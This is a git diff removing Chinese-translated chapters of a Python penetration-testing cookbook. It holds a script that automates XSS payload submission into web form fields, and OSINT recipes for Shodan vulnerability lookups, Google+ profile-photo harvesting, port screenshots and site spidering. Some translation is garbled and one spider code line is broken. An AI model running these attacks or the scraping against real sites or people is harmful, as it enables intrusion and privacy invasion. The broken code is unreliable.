-br.set_handle_equiv(True)
-br.set_handle_gzip(True)
-#br.set_handle_redirect(False)
-br.set_handle_referer(True)
-br.set_handle_robots(False)
-br.open(url)
-s = shelve.open("mohit.xss",writeback=True)
-for form in br.forms():
- print form
-list_a =[]
-list_n = []
-field = int(raw_input('Enter the number of field "not readonly" '))
-for i in xrange(0,field):
- na = raw_input('Enter the field name, "not readonly" ')
- ch = raw_input("Do you attack on this field? press Y ")
- if (ch=="Y" or ch == "y"):
- list_a.append(na)
- else :
- list_n.append(na)
-
-br.select_form(nr=0)
-
-p =0
-flag = 'y'
-while flag =="y":
- br.open(url)
- br.select_form(nr=0)
- for i in xrange(0, len(list_a)):
- att=list_a[i]
- br.form[att] = s['xss'][p]
- for i in xrange(0, len(list_n)):
- non=list_n[i]
- br.form[non] = 'aaaaaaa'
-
- print s['xss'][p]
- br.submit()
- ch = raw_input("Do you continue press y ")
- p = p+1
- flag = ch.lower()
-```
-
-前面的代码能够攻击多个字段或单个字段。在这段代码中,我们使用了两个列表:`list_a`和`list_n`。`list_a`列表包含您希望发送 XSS 漏洞攻击的字段名,`list_n`列表包含您不希望发送 XSS 漏洞攻击的字段名。
-
-现在我们来看节目。如果您了解`xss.py`计划,您会注意到我们对`xss.py`进行了修改,创建了`xss_list.py`:
-
-```
-list_a =[]
-list_n = []
-field = int(raw_input('Enter the number of field "not readonly" '))
-for i in xrange(0,field):
- na = raw_input('Enter the field name, "not readonly" ')
- ch = raw_input("Do you attack on this field? press Y ")
- if (ch=="Y" or ch == "y"):
- list_a.append(na)
- else :
- list_n.append(na)
-```
-
-我已经解释了`list_a[]`和`list_n[]`的意义。变量字段要求用户输入表单中非只读的表单字段总数。`for i in xrange(0,field):`语句定义`for`循环将运行表单字段的总次数。`na`变量要求用户输入字段名,`ch`变量要求用户输入`Do you attack on this field`。这意味着,如果您按*y*或*y*,输入的字段将转到`list_a`;否则将转到`list_n`:
-
-```
-for i in xrange(0, len(list_a)):
- att=list_a[i]
- br.form[att] = s['xss'][p]
- for i in xrange(0, len(list_n)):
- non=list_n[i]
- br.form[non] = 'aaaaaaa'
-```
-
-前面的代码很容易理解。两个列表的两个`for`循环运行到列表的长度,并填写表单字段。
-
-代码的输出如下所示:
-
-![Nonpersistent or reflected XSS](graphics/8583OT_07_12.jpg)
-
-填写检查表\u n
-
-前面的屏幕截图显示表单字段的数量为两个。用户输入表单字段的名称并将其设置为非攻击字段。这只是检查代码的工作情况。
-
-![Nonpersistent or reflected XSS](graphics/8583OT_07_13.jpg)
-
-填写表格以检查列表
-
-前面的屏幕截图显示用户输入表单字段并使其成为攻击字段。
-
-现在,请查看网站的回复,如下所示:
-
-![Nonpersistent or reflected XSS](graphics/8583OT_07_14.jpg)
-
-表单字段已成功填写
-
-前面的屏幕截图显示代码工作正常;前两行用普通的`aaaaaaa`字符串填充。第三行和第四行已被 XSS 攻击填满。到目前为止,您已经了解了如何自动化 XSS 攻击。通过适当的验证和过滤,web 开发人员可以保护他们的网站。在 PHP 函数中,`htmlspecialchars()`字符串可以保护您的网站免受 XSS 攻击。在上图中,您可以看到,**注释**字段不受 XSS 攻击的影响。以下屏幕截图显示了**注释**字段的编码部分:
-
-![Nonpersistent or reflected XSS](graphics/8583OT_07_15.jpg)
-
-显示 htmlspecialchars()函数的图
-
-当您看到显示页面的查看源时,它看起来像`<script>alert(1)</script>`;将特殊字符`<`转换为`<`,将`>`转换为`>`。这种转换称为 HTML 编码。
-
-# 总结
-
-在本章中,您了解了两种主要的 web 攻击类型:SQL 注入和 XSS。在 SQL 注入中,您学习了如何使用 Python 脚本查找管理员登录页面。SQL 注入有很多不同的查询,在本章中,您学习了如何基于重言式破解用户名和密码。在 SQLI 的另一次攻击中,您学习了如何在有效用户名之后进行注释。在接下来的 XSS 中,您看到了如何将 XSS 漏洞利用应用于表单字段。在`mohit.xss`文件中,您看到了如何添加更多漏洞。
\ No newline at end of file
diff --git a/trans/py-pentest-dev/18.md b/trans/py-pentest-dev/18.md
deleted file mode 100644
index c05b8df..0000000
--- a/trans/py-pentest-dev/18.md
+++ /dev/null
@@ -1,775 +0,0 @@
-# 第一章收集开源情报
-
-在本章中,我们将介绍以下主题:
-
-* 使用 Shodan API 收集信息
-* 编写 Google+API 搜索脚本
-* 使用 Google+API 下载个人资料图片
-* 使用 Google+API 分页获取其他结果
-* 使用 QtWebKit 获取网站截图
-* 基于端口列表的屏幕截图
-* 蜘蛛网
-
-# 导言
-
-**开源情报****OSIT**是从公开(公开)来源收集信息的过程。在测试 web 应用程序时,这似乎是一件奇怪的事情。然而,在接触某个特定网站之前,就可以了解该网站的大量信息。您可能能够找到网站使用的服务器端语言、基础框架,甚至其凭据。学习使用 API 和编写这些任务的脚本可以使收集阶段的大部分工作变得更加容易。
-
-在本章中,我们将介绍使用 Python 利用 API 的强大功能来深入了解目标的几种方法。
-
-# 使用 Shodan API 收集信息
-
-Shodan 本质上是一个漏洞搜索引擎。通过向其提供名称、IP 地址甚至端口,它将返回其数据库中匹配的所有系统。这使得它成为基础设施方面最有效的情报来源之一。这就像谷歌搜索互联网连接设备一样。Shodan 不断扫描互联网,并将结果保存到公共数据库中。而该数据库可从 Shodan 网站([网站)进行搜索 https://www.shodan.io](https://www.shodan.io) ),报告的结果和服务是有限的,除非您通过**应用程序编程接口**(**API**访问)。
-
-本节的任务是通过使用 Shodan API 获取关于 Packt 发布网站的信息。
-
-## 准备好了吗
-
-在撰写本文时,Shodan 的会员费是 49 美元,这是获得 API 密钥所必需的。如果你对安全问题很认真,访问 Shodan 是无价的。
-
-如果您还没有 Shodan 的 API 密钥,请访问[www.Shodan.io/store/member](http://www.shodan.io/store/member)并注册。Shodan 有一个非常好的 Python 库,在[中也有很好的文档记录 https://shodan.readthedocs.org/en/latest/](https://shodan.readthedocs.org/en/latest/) 。
-
-要将 Python 环境设置为与 Shodan 一起使用,只需使用`cheeseshop`安装库即可:
-
-```
-$ easy_install shodan
-
-```
-
-## 怎么做…
-
-下面是我们将用于此任务的脚本:
-
-```
-import shodan
-import requests
-
-SHODAN_API_KEY = "{Insert your Shodan API key}"
-api = shodan.Shodan(SHODAN_API_KEY)
-
-target = 'www.packtpub.com'
-
-dnsResolve = 'https://api.shodan.io/dns/resolve?hostnames=' + target + '&key=' + SHODAN_API_KEY
-
-try:
- # First we need to resolve our targets domain to an IP
- resolved = requests.get(dnsResolve)
- hostIP = resolved.json()[target]
-
- # Then we need to do a Shodan search on that IP
- host = api.host(hostIP)
- print "IP: %s" % host['ip_str']
- print "Organization: %s" % host.get('org', 'n/a')
- print "Operating System: %s" % host.get('os', 'n/a')
-
- # Print all banners
- for item in host['data']:
- print "Port: %s" % item['port']
- print "Banner: %s" % item['data']
-
- # Print vuln information
- for item in host['vulns']:
- CVE = item.replace('!','')
- print 'Vulns: %s' % item
- exploits = api.exploits.search(CVE)
- for item in exploits['matches']:
- if item.get('cve')[0] == CVE:
- print item.get('description')
-except:
- 'An error occured'
-```
-
-前面的脚本应产生类似于以下内容的输出:
-
-```
-IP: 83.166.169.231
-Organization: Node4 Limited
-Operating System: None
-
-Port: 443
-Banner: HTTP/1.0 200 OK
-
-Server: nginx/1.4.5
-
-Date: Thu, 05 Feb 2015 15:29:35 GMT
-
-Content-Type: text/html; charset=utf-8
-
-Transfer-Encoding: chunked
-
-Connection: keep-alive
-
-Expires: Sun, 19 Nov 1978 05:00:00 GMT
-
-Cache-Control: public, s-maxage=172800
-
-Age: 1765
-
-Via: 1.1 varnish
-
-X-Country-Code: US
-
-Port: 80
-Banner: HTTP/1.0 301 https://www.packtpub.com/
-
-Location: https://www.packtpub.com/
-
-Accept-Ranges: bytes
-
-Date: Fri, 09 Jan 2015 12:08:05 GMT
-
-Age: 0
-
-Via: 1.1 varnish
-
-Connection: close
-
-X-Country-Code: US
-
-Server: packt
-
-Vulns: !CVE-2014-0160
-The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packets, which allows remote attackers to obtain sensitive information from process memory via crafted packets that trigger a buffer over-read, as demonstrated by reading private keys, related to d1_both.c and t1_lib.c, aka the Heartbleed bug.
-
-```
-
-我刚刚选择了 Shodan 返回的一些可用数据项,但您可以看到我们得到了相当多的信息。在这个特定的例子中,我们可以看到存在一个潜在的漏洞。我们还看到该服务器正在侦听端口`80`和`443`,根据横幅信息,它似乎正在运行`nginx`作为 HTTP 服务器。
-
-## 它是如何工作的…
-
-1. 首先,我们在代码中设置静态字符串;这包括我们的 API 密钥:
-
- ```
- SHODAN_API_KEY = "{Insert your Shodan API key}"
- target = 'www.packtpub.com'
-
- dnsResolve = 'https://api.shodan.io/dns/resolve?hostnames=' + target + '&key=' + SHODAN_API_KEY
- ```
-
-2. 下一步是创建我们的 API 对象:
-
- ```
- api = shodan.Shodan(SHODAN_API_KEY)
- ```
-
-3. 为了使用 API 搜索主机信息,我们需要知道主机的 IP 地址。Shodan 有一个 DNS 解析器,但它不包含在 Python 库中。要使用 Shodan 的 DNS 解析程序,我们只需向 Shodan DNS 解析程序 URL 发出 GET 请求,并将其传递给我们感兴趣的域:
-
- ```
- resolved = requests.get(dnsResolve)
- hostIP = resolved.json()[target]
- ```
-
-4. 返回的 JSON 数据将是域到 IP 地址的字典;因为在我们的例子中只有一个目标,所以我们可以简单地使用`target`字符串作为字典的密钥来提取主机的 IP 地址。如果您在多个域上搜索,您可能希望遍历此列表以获取所有 IP 地址。
-5. 现在,我们有了主机的 IP 地址,我们可以使用 Shodan libraries`host`函数获取关于我们主机的信息。返回的 JSON 数据包含大量关于主机的信息,不过在我们的示例中,我们将只提取 IP 地址、组织以及正在运行的操作系统(如果可能)。然后我们将遍历所有被发现开放的港口及其各自的横幅:
-
- ```
- host = api.host(hostIP)
- print "IP: %s" % host['ip_str']
- print "Organization: %s" % host.get('org', 'n/a')
- print "Operating System: %s" % host.get('os', 'n/a')
-
- # Print all banners
- for item in host['data']:
- print "Port: %s" % item['port']
- print "Banner: %s" % item['data']
- ```
-
-6. The returned data may also contain potential **Common Vulnerabilities and Exposures** (**CVE**) numbers for vulnerabilities that Shodan thinks the server may be susceptible to. This could be really beneficial to us, so we will iterate over the list of these (if there are any) and use another function from the Shodan library to get information on the exploit:
-
- ```
- for item in host['vulns']:
- CVE = item.replace('!','')
- print 'Vulns: %s' % item
- exploits = api.exploits.search(CVE)
- for item in exploits['matches']:
- if item.get('cve')[0] == CVE:
- print item.get('description')
- ```
-
- 这就是我们的剧本。尝试在您自己的服务器上运行它。
-
-## 还有更多…
-
-我们用我们的脚本只触及了 Shodan Python 库的表面。阅读 Shodan API 参考文档并使用其他搜索选项是非常值得的。您可以根据“方面”筛选结果以缩小搜索范围。您甚至可以使用其他用户使用“标记”搜索保存的搜索。
-
-# 编写 Google+API 搜索脚本
-
-社交媒体是收集目标公司或个人信息的好方法。在这里,我们将向您展示如何编写 Google+API 搜索脚本,以便在 Google+社交网站中查找公司的联系信息。
-
-## 准备好了吗
-
-一些 Google API 需要授权才能访问它们,但是如果你有 Google 帐户,获取 API 密钥很容易。只需转到[https://console.developers.google.com](https://console.developers.google.com) 并创建一个新项目。点击**API&认证****凭证**。点击**创建新密钥**和**服务器密钥**。可选择输入您的 IP 或点击**创建**。将显示您的 API 密钥,并准备复制和粘贴到以下配方中。
-
-## 怎么做…
-
-下面是一个查询 Google+API 的简单脚本:
-
-```
-import urllib2
-
-GOOGLE_API_KEY = "{Insert your Google API key}"
-target = "packtpub.com"
-api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people? query="+target+"&key="+GOOGLE_API_KEY).read()
-api_response = api_response.split("\n")
-for line in api_response:
- if "displayName" in line:
- print line
-```
-
-## 它是如何工作的…
-
-前面的代码向 Google+搜索 API 发出请求(使用 API 密钥进行身份验证),并搜索中与目标匹配的帐户;`packtpub.com`。与前面的 Shodan 脚本类似,我们设置了静态字符串,包括 API 键和目标:
-
-```
-GOOGLE_API_KEY = "{Insert your Google API key}"
-target = "packtpub.com"
-```
-
-下一步做两件事:首先,它向 API 服务器发送 HTTP`GET`请求,然后读取响应并将输出存储到`api_response`变量中:
-
-```
-api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people? query="+target+"&key="+GOOGLE_API_KEY).read()
-```
-
-此请求返回 JSON 格式的响应;结果的示例片段如下所示:
-
-![How it works…](graphics/B04044_01_01.jpg)
-
-在我们的脚本中,我们将响应转换为列表,以便更容易解析:
-
-```
-api_response = api_response.split("\n")
-```
-
-代码的最后一部分在列表中循环并仅打印包含`displayName`的行,如下所示:
-
-![How it works…](graphics/B04044_01_02.jpg)
-
-## 另见…
-
-在下一个配方*中,使用 Google+API*下载个人资料图片,我们将研究如何改进这些结果的格式。
-
-## 还有更多…
-
-通过从一个简单的脚本开始查询 Google+API,我们可以将其扩展为更高效,并使用更多返回的数据。Google+平台的另一个关键方面是,用户也可能在另一个 Google 服务上拥有匹配的帐户,这意味着您可以交叉引用帐户。大多数谷歌产品都有一个 API 供开发者使用,所以一个好的起点是[https://developers.google.com/products/](https://developers.google.com/products/) 。抓取一个 API 密钥并将上一个脚本的输出插入其中。
-
-# 使用 Google+API 下载个人资料图片
-
-既然我们已经确定了如何使用 Google+API,我们可以设计一个脚本来下拉图片。这里的目的是将面孔与取自网页的名字对应起来。我们将通过 URL 向 API 发送请求,通过 JSON 处理响应,并在脚本的工作目录中创建图片文件。
-
-## 怎么做
-
-下面是一个使用 Google+API 下载个人资料图片的简单脚本:
-
-```
-import urllib2
-import json
-
-GOOGLE_API_KEY = "{Insert your Google API key}"
-target = "packtpub.com"
-api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people? query="+target+"&key="+GOOGLE_API_KEY).read()
-
-json_response = json.loads(api_response)
-for result in json_response['items']:
- name = result['displayName']
- print name
- image = result['image']['url'].split('?')[0]
- f = open(name+'.jpg','wb+')
- f.write(urllib2.urlopen(image).read())
- f.close()
-```
-
-## 它是如何工作的
-
-第一个更改是将显示名称存储到变量中,因为这将在以后重新使用:
-
-```
- name = result['displayName']
- print name
-```
-
-接下来,我们从 JSON 响应中获取图像 URL:
-
-```
-image = result['image']['url'].split('?')[0]
-```
-
-代码的最后一部分用三行简单的代码完成了很多事情:首先,它在本地磁盘上打开一个文件,文件名设置为`name`变量。此处的`wb+`标志指示操作系统,如果文件不存在,则应创建该文件,并以原始二进制格式写入数据。第二行向图像 URL 发出 HTTP`GET`请求(存储在`image`变量中),并将响应写入文件。最后,关闭文件以释放用于存储文件内容的系统内存:
-
-```
- f = open(name+'.jpg','wb+')
- f.write(urllib2.urlopen(image).read())
- f.close()
-```
-
-脚本运行后,控制台输出与之前相同,显示名称。但是,您的本地目录现在也将包含所有配置文件图像,并保存为 JPEG 文件。
-
-# 使用分页从 Google+API 获取其他结果
-
-默认情况下,Google+API 最多返回 25 个结果,但我们可以通过增加最大值并通过分页获取更多结果来扩展以前的脚本。与之前一样,我们将通过 URL 和`urllib`库与 Google+API 进行通信。我们将创建任意数字,随着请求的进行,这些数字会增加,因此我们可以跨页面移动并收集更多结果。
-
-## 怎么做
-
-以下脚本显示了如何从 Google+API 获取其他结果:
-
-```
-import urllib2
-import json
-
-GOOGLE_API_KEY = "{Insert your Google API key}"
-target = "packtpub.com"
-token = ""
-loops = 0
-
-while loops < 10:
- api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people? query="+target+"&key="+GOOGLE_API_KEY+"&maxResults=50& pageToken="+token).read()
-
- json_response = json.loads(api_response)
- token = json_response['nextPageToken']
-
- if len(json_response['items']) == 0:
- break
-
- for result in json_response['items']:
- name = result['displayName']
- print name
- image = result['image']['url'].split('?')[0]
- f = open(name+'.jpg','wb+')
- f.write(urllib2.urlopen(image).read())
- loops+=1
-```
-
-## 它是如何工作的
-
-此脚本中的第一个大的更改,即主代码,已移动到`while`循环中:
-
-```
-token = ""
-loops = 0
-
-while loops < 10:
-```
-
-在这里,循环数被设置为最多 10 个,以避免向 API 服务器发送太多请求。当然,该值可以更改为任何正整数。下一个更改是请求 URL 本身;它现在包含两个附加的尾部参数`maxResults`和`pageToken`。来自 Google+API 的每个响应都包含一个`pageToken`值,它是指向下一组结果的指针。请注意,如果没有更多结果,仍然会返回一个`pageToken`值。`maxResults`参数不言自明,但最多只能增加到 50:
-
-```
- api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people? query="+target+"&key="+GOOGLE_API_KEY+"&maxResults=50& pageToken="+token).read()
-```
-
-下一部分在 JSON 响应中读取的内容与前面相同,但这次它还提取了`nextPageToken`值:
-
-```
- json_response = json.loads(api_response)
- token = json_response['nextPageToken']
-```
-
-如果`loops`变量增加到 10,主`while`循环可以停止,但有时您可能只得到一页结果。代码的下一部分检查返回了多少结果;如果没有,则会过早退出循环:
-
-```
- if len(json_response['items']) == 0:
- break
-```
-
-最后,我们确保每次增加`loops`整数的值。一个常见的编码错误是忽略了这一点,这意味着循环将永远继续:
-
-```
- loops+=1
-```
-
-# 使用 QtWebKit 获取网站截图
-
-他们说一幅画胜过千言万语。有时候,在情报收集阶段获取网站截图是件好事。我们可能想扫描一个 IP 范围,了解哪些 IP 在为网页提供服务,更重要的是它们看起来是什么样子。这有助于我们挑选感兴趣的站点进行关注,出于同样的原因,我们还可能希望快速扫描特定 IP 地址上的端口。我们将看看如何使用`QtWebKit`Python 库实现这一点。
-
-## 准备好了吗
-
-安装 QtWebKit 有点麻烦。最简单的方法是从[获取二进制文件 http://www.riverbankcomputing.com/software/pyqt/download](http://www.riverbankcomputing.com/software/pyqt/download) 。对于 Windows 用户,请确保选择符合`python/arch`路径的二进制文件。例如,我将使用`PyQt4-4.11.3-gpl-Py2.7-Qt4.8.6-x32.exe`二进制文件在安装了 Python 版本 2.7 的 Windows 32 位虚拟机上安装 Qt4。如果您计划从源文件编译 Qt4,请确保您已经安装了`SIP`。
-
-## 怎么做…
-
-一旦安装了 PyQt4,就可以开始了。下面的脚本是我们将用作 screenshot 类的基础的脚本:
-
-```
-import sys
-import time
-from PyQt4.QtCore import *
-from PyQt4.QtGui import *
-from PyQt4.QtWebKit import *
-
-class Screenshot(QWebView):
- def __init__(self):
- self.app = QApplication(sys.argv)
- QWebView.__init__(self)
- self._loaded = False
- self.loadFinished.connect(self._loadFinished)
-
- def wait_load(self, delay=0):
- while not self._loaded:
- self.app.processEvents()
- time.sleep(delay)
- self._loaded = False
-
- def _loadFinished(self, result):
- self._loaded = True
-
- def get_image(self, url):
- self.load(QUrl(url))
- self.wait_load()
-
- frame = self.page().mainFrame()
- self.page().setViewportSize(frame.contentsSize())
-
- image = QImage(self.page().viewportSize(), QImage.Format_ARGB32)
- painter = QPainter(image)
- frame.render(painter)
- painter.end()
- return image
-```
-
-创建前面的脚本并将其保存在 Python`Lib`文件夹中。然后,我们可以在脚本中将其作为导入引用。
-
-## 它是如何工作的…
-
-脚本使用加载 URL,然后使用 QPaint 创建图像。`get_image`函数只接受一个参数:我们的目标。知道了这一点,我们可以简单地将其导入另一个脚本并扩展功能。
-
-让我们把脚本分解一下,看看它是如何工作的。
-
-首先,我们建立了我们的进口:
-
-```
-import sys
-import time
-from PyQt4.QtCore import *
-from PyQt4.QtGui import *
-from PyQt4.QtWebKit import *
-```
-
-然后,我们创建类定义;我们正在创建的类通过继承从`QWebView`扩展:
-
-```
-class Screenshot(QWebView):
-```
-
-接下来,我们创建初始化方法:
-
-```
-def __init__(self):
- self.app = QApplication(sys.argv)
- QWebView.__init__(self)
- self._loaded = False
- self.loadFinished.connect(self._loadFinished)
-
-def wait_load(self, delay=0):
- while not self._loaded:
- self.app.processEvents()
- time.sleep(delay)
- self._loaded = False
-
-def _loadFinished(self, result):
- self._loaded = True
-```
-
-初始化方法设置`self.__loaded`属性。它与`__loadFinished`和`wait_load`函数一起用于检查应用程序运行时的状态。它等待站点加载后再截图。实际屏幕截图代码包含在`get_image`功能中:
-
-```
-def get_image(self, url):
- self.load(QUrl(url))
- self.wait_load()
-
- frame = self.page().mainFrame()
- self.page().setViewportSize(frame.contentsSize())
-
- image = QImage(self.page().viewportSize(), QImage.Format_ARGB32)
- painter = QPainter(image)
- frame.render(painter)
- painter.end()
- return image
-```
-
-在这个`get_image`函数中,我们将视口的大小设置为主框架内内容的大小。然后设置图像格式,将图像指定给画家对象,然后使用画家渲染帧。最后,我们返回处理后的图像。
-
-## 还有更多…
-
-要使用我们刚刚创建的类,我们只需将其导入另一个脚本。例如,如果我们只想保存返回的图像,我们可以执行以下操作:
-
-```
-import screenshot
-s = screenshot.Screenshot()
-image = s.get_image('http://www.packtpub.com')
-image.save('website.png')
-```
-
-就这些。在下一个脚本中,我们将创建一些更有用的内容。
-
-# 基于端口列表的屏幕截图
-
-在前面的脚本中,我们创建了基本函数,用于返回 URL 的图像。现在,我们将在此基础上进行扩展,以循环浏览通常与基于 web 的管理门户关联的端口列表。这将允许我们将脚本指向 IP,并自动通过可能与 web 服务器关联的端口运行。当我们不知道服务器上打开了哪些端口时,而不是在指定端口和域的位置时,可以使用此选项。
-
-## 准备好了吗
-
-为了让这个脚本正常工作,我们需要在使用 QtWeb 工具包配方的网站的*截图中创建脚本。这应该保存在`Pythonxx/Lib`文件夹中,并命名为清晰、难忘的内容。在这里,我们将该脚本命名为`screenshot.py`。脚本的命名尤其重要,因为我们用一个重要的声明引用它。*
-
-## 怎么做…
-
-这是我们将使用的脚本:
-
-```
-import screenshot
-import requests
-
-portList = [80,443,2082,2083,2086,2087,2095,2096,8080,8880,8443,9998,4643, 9001,4489]
-
-IP = '127.0.0.1'
-
-http = 'http://'
-https = 'https://'
-
-def testAndSave(protocol, portNumber):
- url = protocol + IP + ':' + str(portNumber)
- try:
- r = requests.get(url,timeout=1)
-
- if r.status_code == 200:
- print 'Found site on ' + url
- s = screenshot.Screenshot()
- image = s.get_image(url)
- image.save(str(portNumber) + '.png')
- except:
- pass
-
-for port in portList:
- testAndSave(http, port)
- testAndSave(https, port)
-```
-
-## 它是如何工作的…
-
-我们首先创建我们的进口报关单。在这个脚本中,我们使用之前创建的`screenshot`脚本和`requests`库。使用`requests`库是为了在尝试将请求转换为图像之前检查请求的状态。我们不想浪费时间试图转换不存在的网站。
-
-接下来,我们导入我们的库:
-
-```
-import screenshot
-import requests
-```
-
-下一步将设置我们将迭代的公共端口号数组。我们还使用将要使用的 IP 地址设置了一个字符串:
-
-```
-portList = [80,443,2082,2083,2086,2087,2095,2096,8080,8880,8443,9998,4643, 9001,4489]
-
-IP = '127.0.0.1'
-```
-
-接下来,我们创建字符串来保存我们稍后将构建的 URL 的协议部分;这只会使代码稍后更整洁一些:
-
-```
-http = 'http://'
-https = 'https://'
-```
-
-接下来,我们创建我们的方法,该方法将完成构建 URL 字符串的工作。在我们创建了 URL 之后,我们检查是否为我们的`get`请求返回了`200`响应代码。如果请求成功,我们将返回的网页转换为图像并保存,文件名为成功的端口号。代码被包装在一个`try`块中,因为当我们发出请求时,如果站点不存在,它将抛出一个错误:
-
-```
-def testAndSave(protocol, portNumber):
- url = protocol + IP + ':' + str(portNumber)
- try:
- r = requests.get(url,timeout=1)
-
- if r.status_code == 200:
- print 'Found site on ' + url
- s = screenshot.Screenshot()
- image = s.get_image(url)
- image.save(str(portNumber) + '.png')
- except:
- pass
-```
-
-现在我们的方法准备好了,我们只需迭代端口列表中的每个端口并调用我们的方法。我们对 HTTP 协议执行一次,然后对 HTTPS 执行一次:
-
-```
-for port in portList:
- testAndSave(http, port)
- testAndSave(https, port)
-```
-
-就这样。只需运行脚本,它就会将图像保存到与脚本相同的位置。
-
-## 还有更多…
-
-您可能会注意到脚本需要一段时间才能运行。这是因为它必须依次检查每个端口。实际上,您可能希望将其设置为多线程脚本,以便它可以同时检查多个 URL。让我们来看看如何修改代码来实现这个目标。
-
-首先,我们需要更多的导入声明:
-
-```
-import Queue
-import threading
-```
-
-接下来,我们需要创建一个新函数,我们将调用它`threader`。此新函数将处理将我们的`testAndSave`函数放入队列的操作:
-
-```
-def threader(q, port):
- q.put(testAndSave(http, port))
- q.put(testAndSave(https, port))
-```
-
-现在我们有了新的函数,我们只需要设置一个新的`Queue`对象并进行一些线程调用。我们将通过`portList`变量从`FOR`循环中取出`testAndSave`调用,并将其替换为以下代码:
-
-```
-q = Queue.Queue()
-
-for port in portList:
- t = threading.Thread(target=threader, args=(q, port))
- t.deamon = True
- t.start()
-
-s = q.get()
-```
-
-因此,我们的新脚本总体上如下所示:
-
-```
-import Queue
-import threading
-import screenshot
-import requests
-
-portList = [80,443,2082,2083,2086,2087,2095,2096,8080,8880,8443,9998,4643, 9001,4489]
-
-IP = '127.0.0.1'
-
-http = 'http://'
-https = 'https://'
-
-def testAndSave(protocol, portNumber):
- url = protocol + IP + ':' + str(portNumber)
- try:
- r = requests.get(url,timeout=1)
-
- if r.status_code == 200:
- print 'Found site on ' + url
- s = screenshot.Screenshot()
- image = s.get_image(url)
- image.save(str(portNumber) + '.png')
- except:
- pass
-
-def threader(q, port):
- q.put(testAndSave(http, port))
- q.put(testAndSave(https, port))
-
-q = Queue.Queue()
-
-for port in portList:
- t = threading.Thread(target=threader, args=(q, port))
- t.deamon = True
- t.start()
-
-s = q.get()
-```
-
-如果我们现在运行它,我们将得到更快的代码执行,因为 web 请求现在是并行执行的。
-
-您可以尝试进一步扩展脚本,以处理一系列 IP 地址;这在测试内部网络范围时非常方便。
-
-# 蜘蛛网
-
-许多工具提供了绘制网站地图的能力,但通常您仅限于输出样式或提供结果的位置。这个用于爬行脚本的底板允许您在短时间内绘制出网站,并能够根据您的意愿对其进行更改。
-
-## 准备好了吗
-
-为了让这个脚本正常工作,您需要`BeautifulSoup`库,它可以通过`apt`命令与`apt-get install python-bs4`或`pip install beautifulsoup4`一起安装。就这么简单。
-
-## 怎么做…
-
-这是我们将使用的脚本:
-
-```
-import urllib2
-from bs4 import BeautifulSoup
-import sys
-urls = []
-urls2 = []
-
-tarurl = sys.argv[1]
-
-url = urllib2.urlopen(tarurl).read()
-soup = BeautifulSoup(url)
-for line in soup.find_all('a'):
- newline = line.get('href')
- try:
- if newline[:4] == "http":
- if tarurl in newline:
- urls.append(str(newline))
- elif newline[:1] == "/":
- combline = tarurl+newline urls.append(str(combline)) except:
- pass
-
- for uurl in urls:
- url = urllib2.urlopen(uurl).read()
- soup = BeautifulSoup(url)
- for line in soup.find_all('a'):
- newline = line.get('href')
- try:
- if newline[:4] == "http":
- if tarurl in newline:
- urls2.append(str(newline))
- elif newline[:1] == "/":
- combline = tarurl+newline
- urls2.append(str(combline))
- except:
- pass
- urls3 = set(urls2)
- for value in urls3:
- print value
-```
-
-## 它是如何工作的…
-
-我们首先导入必要的库,并创建两个空列表,称为`urls`和`urls2`。这将使我们能够运行两次爬行过程。接下来,我们设置要添加的输入,作为从命令行运行的脚本的附录。它的运行方式如下:
-
-```
-$ python spider.py http://www.packtpub.com
-
-```
-
-然后我们打开提供的`url`变量并将其传递给`beautifulsoup`工具:
-
-```
-url = urllib2.urlopen(tarurl).read()
-soup = BeautifulSoup(url)
-```
-
-`beautifulsoup`工具将内容拆分为多个部分,只允许我们拉取想要的部分:
-
-```
-for line in soup.find_all('a'):
-newline = line.get('href')
-```
-
-然后,我们提取 HTML 中标记为标记的所有内容,并获取标记中指定为`href`的元素。这允许我们获取页面中列出的所有 URL。
-
-下一节将处理相对链接和绝对链接。如果链接是相对的,则以斜线开头,表示它是 web 服务器本地托管的页面。如果链接是绝对链接,则它包含包括域在内的完整地址。我们使用以下代码所做的是确保我们可以作为外部用户打开找到的所有链接,并将它们列为绝对链接:
-
-```
-if newline[:4] == "http":
-if tarurl in newline:
-urls.append(str(newline))
- elif newline[:1] == "/":
-combline = tarurl+newline urls.append(str(combline))
-```
-
-然后,我们通过迭代原始`url`列表中的每个元素,再次使用该页面中标识的`urls`列表重复该过程:
-
-```
-for uurl in urls:
-```
-
-除了参考列表和变量中的更改外,代码保持不变。
-
-我们将两个列表合并,最后,为了便于输出,我们将`urls`列表的完整列表转换为一个集合。这将从列表中删除重复项,并允许我们整齐地输出它。我们遍历集合中的值并逐个输出它们。
-
-## 还有更多…
-
-此工具可以与本模块前面和后面显示的任何功能相结合。它可以绑定到*使用 QtWeb 工具包*获取网站截图,从而允许您获取每个页面的截图。您可以将其绑定到[第 2 章](19.html "Chapter 2. Enumeration")、*枚举*中的电子邮件地址查找器,以从每个页面获取电子邮件地址,或者您也可以使用此简单技术来映射网页。
-
-脚本可以很容易地更改为添加深度级别,从当前的 2 个链接深度级别更改为系统参数设置的任何值。可以将输出更改为在每个页面上添加 URL,或将其转换为 CSV,以允许您将漏洞映射到页面以便于标记。
\ No newline at end of file
diff --git a/trans/py-pentest-dev/19.md b/trans/py-pentest-dev/19.md
deleted file mode 100644
index 7203a35..0000000
--- a/trans/py-pentest-dev/19.md
+++ /dev/null
@@ -1,865 +0,0 @@
-# 第二章列举
-
-在本章中,我们将介绍以下主题:
-
-* 使用 Scapy 执行 ping 扫描
-* Scapy 扫描
-* 检查用户名有效性
-* 强制使用用户名
-* 枚举文件
-* 强制密码
-* 从名称生成电子邮件地址
-* 从网页中查找电子邮件地址
-* 在源代码中查找注释
-
-# 导言
-
-确定测试目标后,您将需要执行一些枚举。这将帮助您确定一些可能的路径,以便进行进一步的侦察或攻击。这是重要的一步。毕竟,如果你想从保险箱里偷东西,你首先要看一看你是否需要一个别针、钥匙或密码,而不是简单地装上一根炸药棒,并可能毁掉里面的东西。
-
-在本章中,我们将介绍一些使用 Python 执行活动枚举的方法。
-
-# 与 Scapy 进行平扫
-
